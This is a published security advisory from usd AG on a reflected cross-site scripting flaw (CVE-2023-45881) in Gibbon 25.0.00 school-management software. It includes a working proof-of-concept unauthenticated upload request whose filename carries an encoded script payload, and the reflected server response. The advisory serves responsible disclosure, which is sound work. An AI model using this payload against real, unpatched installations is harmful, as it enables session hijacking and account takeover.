usd-2023-0024 | Cross-Site Scripting

Advisory ID: usd-2023-0024
Product: Gibbon
Affected Version: 25.0.00
Vulnerability Type: CWE-79: Cross-Site Scripting
Security Risk: High
Vendor URL:
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE number: CVE-2023-45881


Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes
It offers a range of features to facilitate communication, collaboration, and organization within the educational community.

A reflected XSS was found in the filename of uploaded files.
This can lead to the creation of arbitrary high privileged accounts.

Proof of Concept

The application allows to upload files without prior authentication using the



The following request can be used to upload files to the server:

POST /modules/Planner/resources_addQuick_ajaxProcess.php HTTP/1.1
Host: localhost:8080

Content-Disposition: form-data; name="id"

Content-Disposition: form-data; name="bodyaddress"

Content-Disposition: form-data; name="bodyfile1"; filename="../<img src=X onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>.gif"
Content-Type: text/plain

<!DOCTYPE html>

Content-Disposition: form-data; name="bodyfile2"

Content-Disposition: form-data; name="bodyfile3"

Content-Disposition: form-data; name="bodyfile4"

Content-Disposition: form-data; name="imagesAsLinks"


The imagesAsLinks parameter must be set to Y to return HTML code.
The filename attribute of the bodyfile1 parameter is reflected in the response.

The response of the request will look like:

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: G5ad8ffa23a25972f=uauluvtju3kvlave1ushepkvjo; path=/; HttpOnly; SameSite=Lax

&lta target='_blank' style='font-weight: bold' href='http://localhost:8080/uploads/2023/07/imgsrcXonerrorevalatobYWxlcnQoZG9jdW1lbnQuZG9tYWluKQ_Go0qk7tKRgW0S9X8.gif'>&ltimg src=X onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>


This vulnerability can be chained with others, resulting in an exploit path that we demonstrated in this video:


It is recommended to treat all input on the website as potentially dangerous.



  • 2023-07-11: Vulnerability identified by Christian Poeschl
  • 2023-09-19: Security Release v25.0.01
  • 2023-11-02: Advisory published


This security vulnerability was identified by Christian Poeschl of usd AG.